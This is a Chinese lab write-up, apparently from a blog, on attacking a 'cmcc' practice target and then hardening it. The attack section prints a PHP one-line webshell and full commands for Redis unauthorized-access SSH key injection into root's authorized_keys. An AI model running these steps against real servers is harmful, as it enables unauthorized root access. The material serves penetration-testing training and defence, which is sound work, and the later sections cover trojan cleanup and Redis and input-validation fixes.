黑盒测试靶机(cmcc)以及对应系统加固方案

2023-10-24 12:11

本文主要是介绍黑盒测试靶机(cmcc)以及对应系统加固方案,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、信息收集

二、进入web界面

三、redis  6379连接。

 四、连接蚁剑成功。

这是个沙箱。

 五、redis入手,使用密钥连接

六、尝试docker越狱

七、针对docker进行入侵排查

从系统层面

1、检查进程

2、木马样本可以保留样本后删除,兵结束进程

 3、检查开机启动项目

4、检查计划任务

 应用层面

1、reris未授权远程访问

2、web服务中存在的命令注入


一、信息收集

nmap -Pn -A 192.168.12.153  -p 1-20000      #获取目标主机大概信息

22            #端口可疑尝试爆破

80         #web服务

6379        #redis服务尝试连接 

上面两个比较熟悉(柿子要找软的捏)

20000      #端口就比较不熟悉  

二、进入web界面

问题:

        1、Ping命令中执行其他命令(靶场都很常见)

        2、这里的用户为www-data,但是可以执行find  cat 等命令来获取信息

        3、可以使用  ls  查看当前文件目录存在phpinfo.php在该文件目录下

        4、还有危险文件hack.php:   <?php eval($_POST['1']) ;?>  现成的一句话木马文件。

三、使用蚁剑连接。

到这里那么恭喜你,成功进入坑里。

这是个沙箱。只不过当前用户是  www-data没有root权限

五、redis入手,使用密钥连接

这里从  ps aux  也可以看到,redis也是docker里面的服务

 #制作这个密钥相当于只是进行提权

cd /root/.ssh  

ssh-keygen  #生成密钥

cd /root/.ssh   #进入到生成的密钥的界面

touch pass.txt  #生成一个文件存储密钥

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pass.txt  #把密钥写入文件中

cat pass.txt| redis-cli -h 192.168.12.153 -x set crack  #密钥赋值

#利用redis来上传密钥

192.168.12.153:6379> config set dir /root/.ssh
192.168.12.153:6379> config  set dbfilename authorized_keys   
192.168.12.153:6379> save

通过ssh指定密钥文件进行远程连接

 成功成为了 !!!!!!!!!

docker的root

六、尝试docker越狱(You Can You UP!)

1、确认docker信息

ls -alh /.dockerenv

未果。

七、针对docker进行入侵排查

从系统层面

1、检查进程

top    #从这里可以看到这是一个木马进程

 find / -name  trojan               #查看木马文件位置

2、木马样本可以保留样本后删除,并结束进程

kill 60 72 && rm -rf /user/share/trojan/

 3、检查开机启动项目

cat /etc/rc.local      #查看本地开机启动项

4、检查计划任务

crontab -l        #检查计划任务 

 应用层面

1、reris未授权远程访问

修复方案:

①设置复杂的访问密码:  config set requirepass $%_+V#!F$##$DSad

②修改配置文件    vi ../../redis.conf  文件配置密码

2、web服务中存在的命令注入

可以使用cat  find 等命令进行敏感文件读取。

修复方案:

①使用正则去严格匹配IP的格式。凡是不是IP的直接drop

这篇关于黑盒测试靶机(cmcc)以及对应系统加固方案的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/275080

相关文章

Python + Streamlit项目部署方案超详细教程(非Docker版)

《Python+Streamlit项目部署方案超详细教程(非Docker版)》Streamlit是一款强大的Python框架,专为机器学习及数据可视化打造,:本文主要介绍Python+St... 目录一、针对 Alibaba Cloud linux/Centos 系统的完整部署方案1. 服务器基础配置(阿里

SpringSecurity中的跨域问题处理方案

《SpringSecurity中的跨域问题处理方案》本文介绍了跨域资源共享(CORS)技术在JavaEE开发中的应用,详细讲解了CORS的工作原理,包括简单请求和非简单请求的处理方式,本文结合实例代码... 目录1.什么是CORS2.简单请求3.非简单请求4.Spring跨域解决方案4.1.@CrossOr

使用MyBatis TypeHandler实现数据加密与解密的具体方案

《使用MyBatisTypeHandler实现数据加密与解密的具体方案》在我们日常的开发工作中,经常会遇到一些敏感数据需要存储,比如用户的手机号、身份证号、银行卡号等,为了保障数据安全,我们通常会对... 目录1. 核心概念:什么是 TypeHandler?2. 实战场景3. 代码实现步骤步骤 1:定义 E

Python实现繁体转简体功能的三种方案

《Python实现繁体转简体功能的三种方案》在中文信息处理中,繁体字与简体字的转换是一个常见需求,无论是处理港澳台地区的文本数据,还是开发面向不同中文用户群体的应用,繁简转换都是不可或缺的功能,本文将... 目录前言为什么需要繁简转换?python实现方案方案一:使用opencc库方案二:使用zhconv库

CPython与PyPy解释器架构的性能测试结果对比

《CPython与PyPy解释器架构的性能测试结果对比》Python解释器的选择对应用程序性能有着决定性影响,CPython以其稳定性和丰富的生态系统著称;而PyPy作为基于JIT(即时编译)技术的替... 目录引言python解释器架构概述CPython架构解析PyPy架构解析架构对比可视化性能基准测试测

C++简单日志系统实现代码示例

《C++简单日志系统实现代码示例》日志系统是成熟软件中的一个重要组成部分,其记录软件的使用和运行行为,方便事后进行故障分析、数据统计等,:本文主要介绍C++简单日志系统实现的相关资料,文中通过代码... 目录前言Util.hppLevel.hppLogMsg.hppFormat.hppSink.hppBuf

MyBatis Plus中执行原生SQL语句方法常见方案

《MyBatisPlus中执行原生SQL语句方法常见方案》MyBatisPlus提供了多种执行原生SQL语句的方法,包括使用SqlRunner工具类、@Select注解和XML映射文件,每种方法都有... 目录 如何使用这些方法1. 使用 SqlRunner 工具类2. 使用 @Select 注解3. 使用

SpringBoot基于注解实现数据库字段回填的完整方案

《SpringBoot基于注解实现数据库字段回填的完整方案》这篇文章主要为大家详细介绍了SpringBoot如何基于注解实现数据库字段回填的相关方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解... 目录数据库表pom.XMLRelationFieldRelationFieldMapping基础的一些代

前端缓存策略的自解方案全解析

《前端缓存策略的自解方案全解析》缓存从来都是前端的一个痛点,很多前端搞不清楚缓存到底是何物,:本文主要介绍前端缓存的自解方案,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录一、为什么“清缓存”成了技术圈的梗二、先给缓存“把个脉”:浏览器到底缓存了谁?三、设计思路:把“发版”做成“自愈”四、代码

解决docker目录内存不足扩容处理方案

《解决docker目录内存不足扩容处理方案》文章介绍了Docker存储目录迁移方法:因系统盘空间不足,需将Docker数据迁移到更大磁盘(如/home/docker),通过修改daemon.json配... 目录1、查看服务器所有磁盘的使用情况2、查看docker镜像和容器存储目录的空间大小3、停止dock